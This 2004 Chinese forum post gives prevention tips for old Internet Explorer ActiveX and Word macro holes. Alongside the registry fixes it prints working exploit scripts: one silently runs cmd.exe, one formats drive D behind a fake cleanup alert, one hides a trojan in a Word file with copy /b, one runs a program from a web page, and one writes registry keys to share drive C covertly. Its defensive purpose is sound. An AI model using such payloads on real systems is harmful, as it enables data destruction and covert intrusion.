嘉定都市网

查看:724 回复:0 发表于 2004-4-11 12:13
  • TA的每日心情
    无聊
    2014-4-3 23:21
  • 签到天数: 1 天

    [LV.1]初来乍到

    qrcode
    跳转到指定楼层
    楼主
    发表于 2004-4-11 12:13:45 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

    [分享]漏洞防范~ [复制链接]

    马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

    您需要 登录 才可以下载或查看,没有帐号?注册

    x
    1、ActiveX漏洞防范方法

      ActiveX漏洞主要针对IE5.5(含)及其以下版本,对OE、Outlook、Foxmail等也有着巨大的威胁。概况说来,就是把com.ms.activeX.ActiveXComponent对象嵌入<APPLET>标记可能导致任意创建和解释执行ActiveX对象,从而可以创建任意文件,运行程序,写注册表。举个例子,在嵌入com.ms.activeX.ActiveXComponent对象后,在IE的默认安全级别“中”状态下,打开包含以下脚本的HTML文件也会运行一个命令提示符,但没有任何警告。甚至还可以使程序在后台运行,这就要“归功”于嵌入的com.ms.activeX.ActiveXComponent对象了,正是它导演了这一幕!具体代码如下:

    <APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>
    <SCRIPT>
    function runcmd()
    {
    a=document.applets[0];
    a.setCLSID(\'{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}\');
    a.createInstance();
    wsh=a.GetObject();
    wsh.Run(\'cmd.exe\');//改为\"wsh.Run(\'cmd.exe\',false,1);\"则程序在后台隐藏运行
    }
    setTimeout(\'runcmd()\',10);
    </SCRIPT>

      运行的结果会打开一个命令提示符,但整个运行过程中没有任何提示。如果你还没有意识到这有多么危险,那么请你注意了,如果我们把将上面的代码“wsh.Run(\'cmd.exe\');”改为下面这两句(其它的不变):

    wsh.Run(\'start/m format.com d:/q/autotest/u\');
    alert(\'IMPORTANT : Windows is removing unused temporary files.\');

      这样做的结果又会怎么样呢?呵呵,你的D盘要被格式化了!听到硬盘狂响,大多数人会以为Windows正在移除临时文件,因为屏幕上显示:IMPORTANT: Windows is removing unused temporary files.,其实这是个幌子,用来欺骗我们的!此时在后台进行的是格式化硬盘命令!等到发觉则悔之晚矣……

      修改注册表的防范方法:

      禁用WSHShell对象,阻止运行程序。删除或更名系统文件夹中的wshom.ocx文件或删除注册表项:
    HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\CLSID\\{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}
    2、WORD执行木马漏洞防范方法

      利用WORD来隐藏木马是最近才流行起来的一种方法。方法是新建一个DOC文件,然后利用VBA写一段特定的代码,把文档保存为newdoc.doc,然后把木马程序这个DOC文件放在同一个目录下,运行如下命令:copy /b xxxx.doc+xxxxx.exe newdoc.doc把这两个文件合并在一起(在Word文档末尾加入木马文件),如图1所示只要别人点击这个所谓的Word文件就会中木马!其中,参数“/b”表示你所合并的文件为二进制格式的。如果是文本文件则加上参数“/a”,代表是ASCII格式。

      不过,以上方法能得以实现的前提是你的WORD2000安全度为最低的时候才行,即HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\9.0\\Word\\Security中的Level值必须是1或者0。大家知道,当Level值为3的时候(代表安全度为高),WORD不会运行任何宏;Level值为2时(安全度中),WORD会询问你是否运行宏;Level值为1的时候(安全度低),WORD就会自动运行所有的宏!聪明的你一定想到如果这个值为0的时候会怎么样?哈,如果设为0的话,WORD就会显示安全度为高,但却能自动运行任何的宏!是不是很恐怖啊?

      要想把WORD的安全度在注册表中的值改为0,方法非常多,利用网页恶意代码修改浏览者的注册表就可以。我想这方面大家都有很多经验,就不多说了。对于这种欺骗方式,最重要的是小心防范,陌生人的附件千万不要收看!网上的链接也不要随意点击,如要点击请确认是否为.DOC文件,如是则一定不要直接点击查看!

      3、IE6的执行任何程序漏洞防范方法

      对于使用IE6.0的用户来说有个可怕的漏洞,该漏洞的存在导致可以在网页中执行任何程序,并可以绕过IE的ActiveX安全设置,即便你禁用ActiveX控件,网页中的恶意程序照样可以运行!举个例子,如果网页中含有下列代码,可以无声无息地执行你的记事本程序!想想看,如果这里不是记事本程序,换作其他的程序会怎么样?代码如下:

    <body></body>
    <SCRIPT>
    html=\'<OBJECT CLASSID=\"CLSID:12345678\" \'
    html+=\' CODEBASE=\"c:/windows/notepad.exe\"></OBJECT>\';
    /注意:上面的notepad.exe的路径请修改为你系统对应的路径document.body.innerHTML=html;
    </SCRIPT>

      这个漏洞的主要原因是IE安全设置都是针对非本地的页面或交互的,对于本地的安全设置IE是最大信任的。如果你注意看IE的安全设置,都是对Internet和Intranet上WEB服务器而言的,根本就没有对本地文件的安全设置。概括说来就是IE对本地安全采用最大信任原则。

      解决办法:挖出IE的本地安全设置选项。打开注册表编辑器,顺次展开到:HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones\\0,在右边窗口中找到DWORD值“Flags”,默认键值为十六进制的21(十进制33),双击“Flags”,在弹出的对话框中将它的键值改为“1”即可,关闭注册表编辑器。无需重新启动电脑,重新打开IE,再次点击“工具→Internet选项→安全”标签,你就会看到多了一个“我的电脑”图标,在这里你可以对IE的本地安全进行配置。修改IE安全设置中有关“我的电脑”的设置,选定后,禁用ActiveX下载就万事大吉了。

    另外,打了补丁之后,会弹出一个对话框,并拒绝运行该网页中所含的程序,所以经常给自己的电脑打补丁是必不可少的
    4、IE的ActiveX控件被绕过漏洞防范方法

      虽然说IE提供对于\"下载已签名的ActiveX控件\"进行提示的功能,但是恶意攻击代码会绕过IE,在无需提示的情况下下载和执行ActiveX控件程序,而这时恶意攻击者就会取得对系统的控制权限。如果要屏蔽此类黑手,可以打开注册表编辑器,然后展开如下分支:
    HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Internet Explorer\\ActiveX Compatibility\\,请为Active Setup controls创建一个基于CLSID的新键值{6E449683_C509_11CF_AAFA_00AA00 B6015C},然后在新键值下创建一个REG_DWORD类型的键Compatibility,并设定键值为0x00000400即可。

      5、浏览网页硬盘被共享漏洞防范方法

      浏览网页硬盘被共享,也是一个常见的漏洞,受害者都是在浏览了含有有害代码的ActiveX网页文件后中招的。以下是其原代码中的关键部分:

    <script language=****>
    document.write(\"<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>\");
    function f(){
    <!--ActiveX初始化过程-->
    a1=document.applets[0];
    a1.setCLSID(\"{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}\");
    a1.createInstance();
    Shl = a1.GetObject();
    Shl.RegWrite(\"HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Network\\\\LanMan\\\\RWC$\\\\Flags\",302,\"REG_DWORD\");
    Shl.RegWrite(\"HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Network\\\\LanMan\\\\RWC$\\\\Type\",0,\"REG_DWORD\");
    Shl.RegWrite(\"HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Network\\\\LanMan\\\\RWC$\\\\Path\",\"C:\\\\\");
    }
    function init()
    {
    setTimeout(\"f()\", 1000);
    <!--实现打开页面后1秒钟内执行测试修改注册表的工作-->
    }
    init();
    </script>

      注意:以“Shl.RegWrite”开头的这几句代码的作用是写入浏览者的注册表,在HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Network\\LanMan下面添加键值“RWC$” ,在RWC$”下又分别建立键值“Flags”、“Type”“Path”,这样就把C盘设为共享了,共享名为RWC$。而且你在网络属性中还看不到硬盘被共享了!如果把\"Flags\"=dword:00000302改成\"Flags\"=dword:00000402就可看到硬盘被共享。

      解决办法:把系统所在目录下的system子目录下面的Vserver.vxd文件(Microsoft 网络上的文件与打印机共享虚拟设备驱动程序)删掉,再到注册表中,把HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\VxD\\下的Vserver键值删掉即可。
    分享到:  QQ好友和群QQ好友和群 QQ空间QQ空间 腾讯微博腾讯微博 腾讯朋友腾讯朋友
    收藏收藏 转播转播 分享淘帖 支持支持 反对反对
    回复

    使用道具 打印 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    发表新贴 返回顶部